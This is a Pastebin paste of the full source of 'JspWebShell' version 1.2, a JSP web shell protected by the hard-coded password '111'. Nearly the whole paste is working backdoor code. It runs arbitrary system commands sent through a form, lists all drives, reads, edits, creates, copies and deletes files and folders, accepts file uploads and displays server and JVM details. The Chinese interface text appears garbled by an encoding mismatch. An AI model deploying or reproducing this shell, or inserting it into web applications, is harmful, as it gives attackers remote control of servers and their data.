Advertisement
TrojanSpot

jsp Webshell | http://www.pemula.info

Sep 20th, 2012
305
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 26.93 KB | None | 0 0
  1.  
  2. <%@ page contentType="text/html; charset=GBK" language="java" import="java.sql.*,java.io.File,java.io.*,java.nio.charset.Charset,java.io.IOException,java.util.*" errorPage="" %>
  3. <%
  4. /**
  5. * <p>Title:JspWebshell </p>
  6. *
  7. * <p>Description: jspÍøÕ¾¹ÜÀí</p>
  8. *
  9. * <p>Copyright:¾ø¶ÔÁã¶È[B.C.T] Copyright (c) 2006</p>
  10. *
  11. * <p>Company: zero.cnbct.org</p>
  12. * PS:±¾³ÌÐòÊÇСµÜ´¦ÓÚÐËȤËùд£¬ÈçÓÐÒÉÎÊÇëÁªÏµQQ:48124012
  13. * @version 1.2
  14. */
  15. String path="";
  16. String selfName="";
  17. boolean copyfinish=false;
  18. %>
  19. <% selfName=request.getRequestURI();
  20. // String editfile="";
  21. String editfile=request.getParameter("editfile");
  22. if (editfile!=null)
  23. {editfile=new String(editfile.getBytes("ISO8859_1"));
  24. }
  25. path=request.getParameter("path");
  26. if(path==null)
  27. path=config.getServletContext().getRealPath("/");
  28. %>
  29. <%!
  30. String _password ="111";//ÃÜÂë
  31. public String readAllFile(String filePathName) throws IOException
  32. {
  33. FileReader fr = new FileReader(filePathName);
  34. int count = fr.read();
  35. String res="";
  36. while(count != -1)
  37. {
  38. //System.out.print((char)count);
  39. res=res+(char)count;
  40. count = fr.read();
  41. if(count == 13)
  42. {
  43. fr.skip(1);
  44. }
  45. }
  46. fr.close();
  47. return res;
  48. }
  49. public void writeFile(String filePathName,String args) throws IOException
  50. {
  51. FileWriter fw = new FileWriter(filePathName);
  52. PrintWriter out=new PrintWriter(fw);
  53. out.write(args);
  54. out.println();
  55. out.flush();
  56. fw.close();
  57. out.close();
  58. }
  59. public boolean createFile(String filePathName) throws IOException
  60. {
  61. boolean result = false;
  62. File file = new File(filePathName);
  63. if(file.exists())
  64. {
  65. System.out.println("ÎļþÒѾ´æÔÚ£¡");
  66. }
  67. else
  68. {
  69. file.createNewFile();
  70. result = true;
  71. System.out.println("ÎļþÒѾ´´½¨£¡");
  72. }
  73. return result;
  74. }
  75. public boolean createFolder(String fileFolderName)
  76. {
  77. boolean result = false;
  78. try
  79. {
  80. File file = new File(fileFolderName);
  81. if(file.exists())
  82. {
  83. //file.delete();
  84. System.out.println("Ŀ¼ÒѾ´æÔÚ!");
  85. result = true;
  86. }
  87. else
  88. {
  89. file.mkdir();
  90. System.out.println("Ŀ¼ÒѾ½¨Á¢!");
  91. result = true;
  92. }
  93. }
  94. catch(Exception ex)
  95. {
  96. result = false;
  97. System.out.println("CreateAndDeleteFolder is error:"+ex);
  98. }
  99. return result;
  100. }
  101.  
  102. public boolean DeleteFolder(String filefolderName)
  103. {
  104. boolean result = false;
  105. try
  106. {
  107. File file = new File(filefolderName);
  108. if(file.exists())
  109. {
  110. file.delete();
  111. System.out.println("Ŀ¼ÒÑɾ³ý!");
  112. result = true;
  113. }
  114. }
  115. catch(Exception ex)
  116. {
  117. result = false;
  118. System.out.println("CreateAndDeleteFolder is error:"+ex);
  119. }
  120. return result;
  121. }
  122. public boolean validate(String password) {
  123. if (password.equals(_password)) {
  124. return true;
  125. } else {
  126. return false;
  127. }
  128. }
  129. public String HTMLEncode(String str) {
  130. str = str.replaceAll(" ", "&nbsp;");
  131. str = str.replaceAll("<", "&lt;");
  132. str = str.replaceAll(">", "&gt;");
  133. str = str.replaceAll("\r\n", "<br>");
  134.  
  135. return str;
  136. }
  137. public String exeCmd(String cmd) {
  138. Runtime runtime = Runtime.getRuntime();
  139. Process proc = null;
  140. String retStr = "";
  141. InputStreamReader insReader = null;
  142. char[] tmpBuffer = new char[1024];
  143. int nRet = 0;
  144.  
  145. try {
  146. proc = runtime.exec(cmd);
  147. insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312"));
  148. while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) {
  149. retStr += new String(tmpBuffer, 0, nRet);
  150. }
  151.  
  152. insReader.close();
  153. retStr = HTMLEncode(retStr);
  154. } catch (Exception e) {
  155. retStr = "<font color=\"red\">ÃüÁî´íÎó\"" + cmd + "\"";
  156. } finally {
  157. return retStr;
  158. }
  159. }
  160. public boolean fileCopy(String srcPath, String dstPath) {
  161. boolean bRet = true;
  162.  
  163. try {
  164. FileInputStream in = new FileInputStream(new File(srcPath));
  165. FileOutputStream out = new FileOutputStream(new File(dstPath));
  166. byte[] buffer = new byte[1024];
  167. int nBytes;
  168.  
  169.  
  170. while ((nBytes = in.read(buffer, 0, 1024)) != -1) {
  171. out.write(buffer, 0, nBytes);
  172. }
  173.  
  174. in.close();
  175. out.close();
  176. } catch (IOException e) {
  177. bRet = false;
  178. }
  179.  
  180. return bRet;
  181. }
  182. class EnvServlet
  183. {
  184. public long timeUse=0;
  185. public Hashtable htParam=new Hashtable();
  186. private Hashtable htShowMsg=new Hashtable();
  187. public void setHashtable()
  188. {
  189. Properties me=System.getProperties();
  190. Enumeration em=me.propertyNames();
  191. while(em.hasMoreElements())
  192. {
  193. String strKey=(String)em.nextElement();
  194. String strValue=me.getProperty(strKey);
  195. htParam.put(strKey,strValue);
  196. }
  197. }
  198. public void getHashtable(String strQuery)
  199. {
  200. Enumeration em=htParam.keys();
  201. while(em.hasMoreElements())
  202. {
  203. String strKey=(String)em.nextElement();
  204. String strValue=new String();
  205. if(strKey.indexOf(strQuery,0)>=0)
  206. {
  207. strValue=(String)htParam.get(strKey);
  208. htShowMsg.put(strKey,strValue);
  209. }
  210. }
  211. }
  212. public String queryHashtable(String strKey)
  213. {
  214. strKey=(String)htParam.get(strKey);
  215. return strKey;
  216. }
  217. /* public long test_int()
  218. {
  219. long timeStart = System.currentTimeMillis();
  220. int i=0;
  221. while(i<3000000)i++;
  222. long timeEnd = System.currentTimeMillis();
  223. long timeUse=timeEnd-timeStart;
  224. return timeUse;
  225. }
  226. public long test_sqrt()
  227. {
  228. long timeStart = System.currentTimeMillis();
  229. int i=0;
  230. double db=(double)new Random().nextInt(1000);
  231. while(i<200000){db=Math.sqrt(db);i++;}
  232. long timeEnd = System.currentTimeMillis();
  233. long timeUse=timeEnd-timeStart;
  234. return timeUse;
  235. }*/
  236. }
  237. %>
  238. <%
  239. EnvServlet env=new EnvServlet();
  240. env.setHashtable();
  241. //String action=new String(" ");
  242. //String act=new String("action");
  243. //if(request.getQueryString()!=null&&request.getQueryString().indexOf(act,0)>=0)action=request.getParameter(act);
  244. %>
  245.  
  246. <html>
  247. <head>
  248. <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
  249. <title>JspWebShell By ¾ø¶ÔÁã¶È</title>
  250. <style>
  251. body {
  252. font-size: 12px;
  253. font-family: "ËÎÌå";
  254. background-color: #666666;
  255. }
  256. A {
  257. COLOR: black; TEXT-DECORATION: none
  258. }
  259. A:hover {
  260. COLOR: black; TEXT-DECORATION: underline; none:
  261. }
  262. td {
  263. font-size: 12px;
  264. font-family: "ËÎÌå";
  265. color: #000000;
  266. }
  267.  
  268. input.textbox {
  269. border: black solid 1;
  270. font-size: 12px;
  271. height: 18px;
  272. }
  273.  
  274. input.button {
  275. font-size: 12px;
  276. font-family: "ËÎÌå";
  277. border: black solid 1;
  278. }
  279.  
  280. td.datarows {
  281. font-size: 12px;
  282. font-family: "ËÎÌå";
  283. height: 25px;
  284. color: #000000;
  285. }
  286. .PicBar { background-color: #f58200; border: 1px solid #000000; height: 12px;}
  287. textarea {
  288. border: black solid 1;
  289. }
  290. .inputLogin {font-size: 9pt;border:1px solid lightgrey;background-color: lightgrey;}
  291. .table1 {BORDER:gray 0px ridge;}
  292. .td2 {BORDER-RIGHT:#ffffff 0px solid;BORDER-TOP:#ffffff 1px solid;BORDER-LEFT:#ffffff 1px solid;BORDER-BOTTOM:#ffffff 0px solid;BACKGROUND-COLOR:lightgrey; height:18px;}
  293. .tr1 {BACKGROUND-color:gray }
  294. </style>
  295. <script language="JavaScript" type="text/JavaScript">
  296. <!--
  297. function MM_reloadPage(init) { //reloads the window if Nav4 resized
  298. if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
  299. document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  300. else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
  301. }
  302. MM_reloadPage(true);
  303. //-->
  304. </script>
  305. </head>
  306. <body bgcolor="#666666">
  307. <%
  308. //session.setMaxInactiveInterval(_sessionOutTime * 60);
  309. String password=request.getParameter("password");
  310. if (password == null && session.getAttribute("password") == null) {
  311.  
  312. %>
  313.  
  314. <div align="center" style="position:absolute;width:100%;visibility:show; z-index:0;left:4px;top:272px">
  315. <TABLE class="table1" cellSpacing="1" cellPadding="1" width="473" border="0" align="center">
  316. <tr>
  317. <td class="tr1"> <TABLE cellSpacing="0" cellPadding="0" width="468" border="0">
  318. <tr>
  319. <TD align="left" bgcolor="#333333"><FONT face="webdings" color="#ffffff">&nbsp;8</FONT><FONT face="Verdana, Arial, Helvetica, sans-serif" color="#ffffff"><b>JspWebShell
  320. version 1.2¹ÜÀíµÇ¼ :::...</b></font></TD>
  321. <TD align="right" bgcolor="#333333"><FONT color="#d2d8ec">Power By
  322. ¾ø¶ÔÁã¶È</FONT></TD>
  323. </tr>
  324. <form name="bctform" method="post">
  325. <tr bgcolor="#999999">
  326. <td height="30" colspan="2" align="center" class="td2">
  327. <input name="password" type="password" class="textbox" id="Textbox" />
  328. <input type="submit" name="Button" value="Login" id="Button" title="Click here to login" class="button" />
  329. </td>
  330. </tr>
  331. </form>
  332. </TABLE></td>
  333. </tr>
  334. </TABLE>
  335. </div>
  336. <%
  337.  
  338. } else {
  339.  
  340. if (session.getAttribute("password") == null) {
  341.  
  342. if (validate(password) == false) {
  343. out.println("<div align=\"center\"><font color=\"red\"><li>ÃÜÂë´íÎó</font></div>");
  344. out.close();
  345. return;
  346. }
  347.  
  348. session.setAttribute("password", password);
  349. } else {
  350. password = (String)session.getAttribute("password");
  351. }
  352. %>
  353. <%
  354. File tmpFile = null;
  355. String delfile="";
  356. String delfile1="";
  357. String editpath="";
  358. delfile1=request.getParameter("delfile");
  359. editpath=request.getParameter("filepath");
  360. if (delfile1!=null)
  361. {delfile=new String(delfile1.getBytes("ISO8859_1"));
  362. }
  363. if ( delfile1!= null) {
  364. // out.print(delfile);
  365. tmpFile = new File(delfile);
  366. if (! tmpFile.delete()) {
  367. out.print( "<font color=\"red\">ɾ³ýʧ°Ü</font><br>\n");
  368. }
  369. }
  370. %>
  371. <%String editfilecontent=null;
  372. String editfilecontent1=request.getParameter("content");
  373. // out.println(editfilecontent1);
  374. //String save=request.getParameter("save");
  375. if (editfilecontent1!=null)
  376. {editfilecontent=new String(editfilecontent1.getBytes("ISO8859_1"));}
  377. // out.print(editfile);
  378. //out.print(editfilecontent);
  379. if (editfile!=null&editfilecontent!=null)
  380. {try {writeFile(editfile,editfilecontent);}
  381. catch (Exception e) {out.print("дÈëʧ°Ü");}
  382. out.print("дÈë³É¹¦");
  383. }
  384. %>
  385. <%request.setCharacterEncoding("GBK");%>
  386. <%//String editfile=request.getParameter("editfile");
  387. //out.print(editfile);
  388. if (request.getParameter("jsptz")!=null)
  389. {%>
  390. <div id="Layer2" style="position:absolute; left:9px; top:340px; width:725px; height:59px; z-index:2">
  391. <CENTER>
  392. <table border="0" cellpadding="0" cellspacing="1" class="tableBorder">
  393. <tr>
  394. <td height="22" align="center" bgcolor="#000000" ><font color=#FFFFFF><strong>·þÎñÆ÷Ïà¹Ø²ÎÊý</strong></font>
  395. </td>
  396. </tr>
  397. <tr>
  398. <td style="display" id='submenu0'><table border=0 width=100% cellspacing=1 cellpadding=3 bgcolor="#FFFFFF">
  399. <tr bgcolor="#999999" height="22">
  400. <td width="130" bgcolor="#999999">&nbsp;·þÎñÆ÷Ãû</td>
  401. <td height="22" colspan="3">&nbsp;<%= request.getServerName() %>(<%=request.getRemoteAddr()%>)</td>
  402. </tr>
  403. <tr bgcolor="#999999" height="22">
  404. <td>&nbsp;·þÎñÆ÷²Ù×÷ϵͳ</td>
  405. <td colspan="3">&nbsp;<%=env.queryHashtable("os.name")%> <%=env.queryHashtable("os.version")%>
  406. <%=env.queryHashtable("sun.os.patch.level")%></td>
  407. </tr>
  408. <tr bgcolor="#999999" height="22">
  409. <td>&nbsp;·þÎñÆ÷²Ù×÷ϵͳÀàÐÍ</td>
  410. <td>&nbsp;<%=env.queryHashtable("os.arch")%></td>
  411. <td>&nbsp;·þÎñÆ÷²Ù×÷ϵͳģʽ</td>
  412. <td>&nbsp;<%=env.queryHashtable("sun.arch.data.model")%>λ</td>
  413. </tr>
  414. <tr bgcolor="#999999" height="22">
  415. <td>&nbsp;·þÎñÆ÷ËùÔÚµØÇø</td>
  416. <td>&nbsp;<%=env.queryHashtable("user.country")%></td>
  417. <td>&nbsp;·þÎñÆ÷ÓïÑÔ</td>
  418. <td>&nbsp;<%=env.queryHashtable("user.language")%></td>
  419. </tr>
  420. <tr bgcolor="#999999" height="22">
  421. <td>&nbsp;·þÎñÆ÷ʱÇø</td>
  422. <td>&nbsp;<%=env.queryHashtable("user.timezone")%></td>
  423. <td>&nbsp;·þÎñÆ÷ʱ¼ä</td>
  424. <td>&nbsp;<%=new java.util.Date()%> </td>
  425. </tr>
  426. <tr bgcolor="#999999" height="22">
  427. <td>&nbsp;·þÎñÆ÷½âÒëÒýÇæ</td>
  428. <td width="170">&nbsp;<%= getServletContext().getServerInfo() %></td>
  429. <td width="130">&nbsp;·þÎñÆ÷¶Ë¿Ú</td>
  430. <td width="170">&nbsp;<%= request.getServerPort() %></td>
  431. </tr>
  432. <tr bgcolor="#999999" height="22">
  433. <td height="22">&nbsp;µ±Ç°Óû§</td>
  434. <td height="22" colspan="3">&nbsp;<%=env.queryHashtable("user.name")%></td>
  435. </tr>
  436. <tr bgcolor="#999999" height="22">
  437. <td>&nbsp;Óû§Ä¿Â¼</td>
  438. <td colspan="3">&nbsp;<%=env.queryHashtable("user.dir")%></td>
  439. </tr>
  440. <tr bgcolor="#999999" height="22">
  441. <td align=left>&nbsp;±¾Îļþʵ¼Ê·¾¶</td>
  442. <td height="8" colspan="3">&nbsp;<%=request.getRealPath(request.getServletPath())%></td>
  443. </tr>
  444. </table>
  445. </td>
  446. </tr>
  447. </table>
  448. <br>
  449. <table width="640" border="0" cellpadding="0" cellspacing="1" class="tableBorder">
  450. <tr>
  451. <td width="454" height="22" align="center" bgcolor="#000000" onclick="showsubmenu(1)"><font color=#FFFFFF><strong>JAVAÏà¹Ø²ÎÊý</strong></font>
  452. </td>
  453. </tr>
  454. <tr>
  455. <td style="display" id='submenu1'>
  456. <table border=0 width=99% cellspacing=1 cellpadding=3 bgcolor="#FFFFFF">
  457. <tr bgcolor="#666666" height="22">
  458. <td width="30%">&nbsp;Ãû³Æ</td>
  459. <td width="50%" height="22">&nbsp;Ó¢ÎÄÃû³Æ</td>
  460. <td width="20%" height="22">&nbsp;°æ±¾</td>
  461. </tr>
  462. <tr bordercolor="#FFFFFF" bgcolor="#999999" height="22">
  463. <td width="30%">&nbsp;JAVAÔËÐл·¾³Ãû³Æ</td>
  464. <td width="50%" height="22">&nbsp;<%=env.queryHashtable("java.runtime.name")%></td>
  465. <td width="20%" height="22">&nbsp;<%=env.queryHashtable("java.runtime.version")%></td>
  466. </tr>
  467. <tr bordercolor="#FFFFFF" bgcolor="#999999" height="22">
  468. <td width="30%">&nbsp;JAVAÔËÐл·¾³ËµÃ÷ÊéÃû³Æ</td>
  469. <td width="50%" height="22">&nbsp;<%=env.queryHashtable("java.specification.name")%></td>
  470. <td width="20%" height="22">&nbsp;<%=env.queryHashtable("java.specification.version")%></td>
  471. </tr>
  472. <tr bordercolor="#FFFFFF" bgcolor="#999999" height="22">
  473. <td width="30%">&nbsp;JAVAÐéÄâ»úÃû³Æ</td>
  474. <td width="50%" height="22">&nbsp;<%=env.queryHashtable("java.vm.name")%></td>
  475. <td width="20%" height="22">&nbsp;<%=env.queryHashtable("java.vm.version")%></td>
  476. </tr>
  477. <tr bordercolor="#FFFFFF" bgcolor="#999999" height="22">
  478. <td width="30%">&nbsp;JAVAÐéÄâ»ú˵Ã÷ÊéÃû³Æ</td>
  479. <td width="50%" height="22">&nbsp;<%=env.queryHashtable("java.vm.specification.name")%></td>
  480. <td width="20%" height="22">&nbsp;<%=env.queryHashtable("java.vm.specification.version")%></td>
  481. </tr>
  482. <%
  483. float fFreeMemory=(float)Runtime.getRuntime().freeMemory();
  484. float fTotalMemory=(float)Runtime.getRuntime().totalMemory();
  485. float fPercent=fFreeMemory/fTotalMemory*100;
  486. %>
  487. <tr bordercolor="#FFFFFF" bgcolor="#999999" height="22">
  488. <td height="22">&nbsp;JAVAÐéÄâ»úÊ£ÓàÄڴ棺</td>
  489. <td height="22" colspan="2"><img width='8' height="12" align=absmiddle class=PicBar style="background-color: #000000">&nbsp;<%=fFreeMemory/1024/1024%>M
  490. </td>
  491. </tr>
  492. <tr bordercolor="#FFFFFF" bgcolor="#999999" height="22">
  493. <td height="22">&nbsp;JAVAÐéÄâ»ú·ÖÅäÄÚ´æ</td>
  494. <td height="22" colspan="2"><img width='85%' align=absmiddle class=PicBar style="background-color: #000000">&nbsp;<%=fTotalMemory/1024/1024%>M
  495. </td>
  496. </tr>
  497. </table>
  498. <table border=0 width=99% cellspacing=1 cellpadding=3 bgcolor="#FFFFFF">
  499. <tr bgcolor="#666666" height="22">
  500. <td width="30%">&nbsp;²ÎÊýÃû³Æ</td>
  501. <td width="70%" height="22">&nbsp;²ÎÊý·¾¶</td>
  502. </tr>
  503. <tr bgcolor="#999999" height="22">
  504. <td width="30%">&nbsp;java.class.path </td>
  505. <td width="70%" height="22">&nbsp;<%=env.queryHashtable("java.class.path").replaceAll(env.queryHashtable("path.separator"),env.queryHashtable("path.separator")+"<br>&nbsp;")%>
  506. </td>
  507. </tr>
  508. <tr bgcolor="#999999" height="22">
  509. <td width="30%">&nbsp;java.home</td>
  510. <td width="70%" height="22">&nbsp;<%=env.queryHashtable("java.home")%></td>
  511. </tr>
  512. <tr bgcolor="#999999" height="22">
  513. <td width="30%">&nbsp;java.endorsed.dirs</td>
  514. <td width="70%" height="22">&nbsp;<%=env.queryHashtable("java.endorsed.dirs")%></td>
  515. </tr>
  516. <tr bgcolor="#999999" height="22">
  517. <td width="30%">&nbsp;java.library.path</td>
  518. <td width="70%" height="22">&nbsp;<%=env.queryHashtable("java.library.path").replaceAll(env.queryHashtable("path.separator"),env.queryHashtable("path.separator")+"<br>&nbsp;")%>
  519. </td>
  520. </tr>
  521. <tr bgcolor="#999999" height="22">
  522. <td width="30%">&nbsp;java.io.tmpdir</td>
  523. <td width="70%" height="22">&nbsp;<%=env.queryHashtable("java.io.tmpdir")%></td>
  524. </tr>
  525. </table>
  526. </td>
  527. </tr>
  528. </table>
  529. <br>
  530. <div id="testspeed" align="center"> </div>
  531. </CENTER></div>
  532.  
  533. <%}
  534. else{
  535. if (editfile!=null)//if edit
  536. {
  537. %>
  538. <div id="Layer1" style="position:absolute; left:-17px; top:1029px; width:757px; height:250px; z-index:1">
  539. <table width="99%" height="232" border="0">
  540. <tr>
  541. <td height="226"><form name="form2" method="post" action="">
  542. <p align="center"> µØÖ·£º
  543. <input name="editfile" type="text" value="<%=editfile%>" size="50">
  544. </p>
  545. <p align="center">
  546. <textarea name="content" cols="105" rows="30"><%=readAllFile(editfile)%></textarea>
  547. <input type="submit" name="Submit2" value="±£´æ">
  548. </p>
  549. </form> </td>
  550. </tr>
  551. </table>
  552. <p>&nbsp;</p></div>
  553. <%}
  554. else{%>
  555.  
  556. <table border="1" width="770" cellpadding="4" bordercolorlight="#999999" bordercolordark="#ffffff" align="center" cellspacing="0">
  557. <tr bgcolor="#333333">
  558. <td colspan="4" align="center"><FONT face="Verdana, Arial, Helvetica, sans-serif" color="#ffffff">JspWebShell
  559. version 1.0</font><font color="#FFFFFF">(ÍøվĿ¼:<%=config.getServletContext().getRealPath("/")%>)</font></td>
  560. </tr>
  561. <tr bgcolor="#999999">
  562. <td colspan="4"> <font color="#000000">
  563. <%
  564. File[] fs = File.listRoots();
  565. for (int i = 0; i < fs.length; i++){
  566. %>
  567. <a href="<%=selfName %>?path=<%=fs[i].getPath()%>\">±¾µØ´ÅÅÌ(<%=fs[i].getPath()%>)
  568. </a>
  569. <%}%>
  570. </font></td>
  571. </tr>
  572. <tr bgcolor="#999999">
  573. <td height="10" colspan="4"> <font color="#000000">
  574. <form name="form1" method="post" action="">
  575. <input type="text" name="command" class="button">
  576. <input type="submit" name="Submit" value="CMDÃüÁîÖ´ÐÐ" class="button">
  577. </form>
  578. </font> <p>
  579. <%
  580. String cmd = "";
  581. InputStream ins = null;
  582. String result = "";
  583. if (request.getParameter("command") != null) {
  584. cmd = (String)request.getParameter("command");result = exeCmd(cmd);%>
  585. <%=result == "" ? "&nbsp;" : result%>
  586. <%}%>
  587. </td>
  588. </tr>
  589. <FORM METHOD="POST" ACTION="?up=true&path=<%String path1=config.getServletContext().getRealPath("/"); String tempfilepath=request.getParameter("path"); if(tempfilepath!=null) path1=tempfilepath;path1=path1.replaceAll("\\\\", "\\\\\\\\"); %><%=path1%>" ENCTYPE="multipart/form-data">
  590. <tr bgcolor="#999999">
  591. <td colspan="2"> <INPUT TYPE="FILE" NAME="FILE1" style="width:150" SIZE="50" class="button">
  592. <INPUT TYPE="SUBMIT" VALUE="ÉÏ´«" class="button"> </td>
  593. <td colspan="2"><a href="?jsptz=true" target="_blank">JSP̽Õë</a> </td>
  594. </tr>
  595. </FORM>
  596. <% String fileexe="";
  597. String dir="";
  598. String deldir="";
  599. String scrfile="";
  600. String dstfile="";
  601. fileexe=request.getParameter("fileexe");
  602. dir=request.getParameter("dir");
  603. deldir=request.getParameter("deldir");
  604. scrfile=request.getParameter("scrfile");
  605. dstfile=request.getParameter("dstfile");
  606. if (fileexe!=null)
  607. {
  608. //out.print(path+fileexe);
  609. createFile(path+fileexe);
  610. }
  611. if (dir!=null)
  612. {
  613. //out.print(path+dir);
  614. createFolder(path+dir);
  615. }
  616. if (deldir!=null)
  617. {
  618. //out.print(deldir);
  619. DeleteFolder(deldir);
  620. }
  621. if (scrfile!=null&dstfile!=null)
  622. {
  623. //out.print(scrfile);
  624. //out.print(dstfile);
  625. copyfinish=fileCopy(scrfile, dstfile) ;
  626. }
  627. %>
  628. <tr bgcolor="#CCCCCC">
  629. <td height="10" colspan="2" bgcolor="#999999"> <form name="form3" method="post" action="">
  630. Îļþ¼ÐÃû£º
  631. <input name="dir" type="text" size="10" class="button">
  632. <input type="submit" name="Submit3" value="н¨Ä¿Â¼" class="button">
  633. </form></td>
  634. <td width="188" height="10" bgcolor="#999999"> <form name="form4" method="post" action="">
  635. ÎļþÃû£º
  636. <input name="fileexe" type="text" size="8" class="button">
  637. <input type="submit" name="Submit4" value="н¨Îļþ" class="button">
  638. </form></td>
  639. <td width="327" height="10" bgcolor="#999999"><form name="form5" method="post" action="">
  640. Îļþ<input name="scrfile" type="text" size="15"class="button">
  641. ¸´ÖƵ½
  642. <input name="dstfile" type="text" size="15" class="button">
  643. <input type="submit" name="Submit5" value="¸´ÖÆ" class="button">
  644. </form><font color="#FF0000"><%if(copyfinish==true) out.print("¸´ÖƳɹ¦");%></font></td>
  645. </tr>
  646. <%//ÉÏ´«
  647. String tempfilename="";
  648. String up=request.getParameter("up");
  649. // String tempfilepath=request.getParameter("filepath");
  650. // out.print(tempfilepath);
  651. if(up!=null)
  652. {
  653. tempfilename=(String)session.getId();
  654. //String tempfilename=request.getParameter("file");
  655. File f1=new File(tempfilepath,tempfilename);
  656. int n;
  657. try
  658. {
  659. InputStream in=request.getInputStream();
  660. BufferedInputStream my_in=new BufferedInputStream(in);
  661. FileOutputStream fout=new FileOutputStream(f1);
  662. BufferedOutputStream my_out=new BufferedOutputStream(fout);
  663. byte[] b=new byte[10000];
  664. while((n=my_in.read(b))!=-1)
  665. {
  666. my_out.write(b,0,n);
  667. }
  668. my_out.flush();
  669. my_out.close();
  670. fout.close();
  671. my_in.close();
  672. in.close();
  673. // out.print("Îļþ´´½¨³É¹¦!<br>");
  674. }
  675. catch(IOException e)
  676. {
  677. out.print("Îļþ´´½¨Ê§°Ü!");
  678. }
  679.  
  680. try
  681. {
  682. RandomAccessFile random1=new RandomAccessFile(f1,"r");
  683. random1.readLine();
  684. String filename=random1.readLine();
  685. byte[] b=filename.getBytes("ISO-8859-1");
  686. filename=new String(b);
  687. int pointer=filename.lastIndexOf('\\');
  688. filename=filename.substring(pointer+1,filename.length()-1);
  689. File f2=new File(tempfilepath,filename);
  690. RandomAccessFile random2=new RandomAccessFile(f2,"rw");
  691. random1.seek(0);
  692. for(int i=1; i<=4; i++)
  693. {
  694. String tempstr=random1.readLine();
  695. }
  696. long startPoint=random1.getFilePointer();
  697. random1.seek(random1.length());
  698. long mark=random1.getFilePointer();
  699. int j=0;
  700. long endPoint=0;
  701. while((mark>=0)&&(j<=5))
  702. {
  703. mark--;
  704. random1.seek(mark);
  705. n=random1.readByte();
  706. if(n=='\n')
  707.  
  708. {
  709. j++;
  710. endPoint=random1.getFilePointer();
  711. }
  712. }
  713. long length=endPoint-startPoint+1;
  714. int order=(int)(length/10000);
  715. int left=(int)(length%10000);
  716. byte[] c=new byte[10000];
  717. random1.seek(startPoint);
  718. for(int i=0; i<order; i++)
  719. {
  720. random1.read(c);
  721. random2.write(c);
  722. }
  723. random1.read(c,0,left);
  724. random2.write(c,0,left);
  725. random1.close();
  726. random2.close();
  727. f1.delete();
  728. out.print("ÎļþÉÏ´«³É¹¦!");
  729. }
  730. catch(Exception e)
  731. {
  732. out.print("ÎļþÉÏ´«Ê§°Ü!");
  733. }
  734.  
  735. }
  736.  
  737. %>
  738. <tr>
  739. <td width="196" height="48" valign="top" bgcolor="#999999">
  740. <% try {
  741. //path=request.getParameter("path");
  742. //if(path==null)
  743. //path=config.getServletContext().getRealPath("/");
  744. File f=new File(path);
  745. File[] fList= f.listFiles() ;
  746. for (int j=0;j<fList.length;j++)
  747. {
  748. if (fList[j].isDirectory())
  749. {%>
  750. <a href="<%=selfName %>?path=<%=path%><%=fList[j].getName()%>\"> <%=fList[j].getName()%></a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="?path=<%=path%>&deldir=<%=path%><%=fList[j].getName()%>">ɾ³ý</a><br>
  751. <% }
  752.  
  753. }//for
  754. } catch (Exception e) {
  755. System.out.println("²»´æÔÚ»òûÓÐȨÏÞ");
  756. }
  757. %>
  758. &nbsp; </td>
  759. <td colspan="3" valign="top" bgcolor="#999999">
  760. <% try {
  761. path=request.getParameter("path");
  762. if(path==null)
  763. path=config.getServletContext().getRealPath("/");
  764. File f=new File(path);
  765. File[] fList= f.listFiles() ;
  766. for (int j=0;j<fList.length;j++)
  767. {
  768. if (fList[j].isFile())
  769. {//request.getContextPath()µÃµ½ÐéÄâ·¾¶%>
  770. <%=fList[j].getName()%>
  771. <a href="?path=<%String tempfilepath1=request.getParameter("path"); if(tempfilepath!=null) path=tempfilepath;%><%=path%>&editfile=<%=path%><%=fList[j].getName()%>" target="_blank">±à¼</a>
  772. &nbsp; <a href="?action=del&path=<%=path%>&delfile=<%=path%><%=fList[j].getName()%>">ɾ³ý</a><br>
  773. <% }
  774. }//for
  775. } catch (Exception e) {
  776. System.out.println("²»´æÔÚ»òûÓÐȨÏÞ");
  777. }
  778. %>
  779. </td>
  780. </tr>
  781. </table>
  782. <p align="center">Power By ¾ø¶ÔÁã¶È[B.C.T] QQ:48124012</p>
  783. <p align="center">&nbsp;</p>
  784. <%}//if edit
  785. }
  786. }
  787. %>
  788. </body>
  789. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement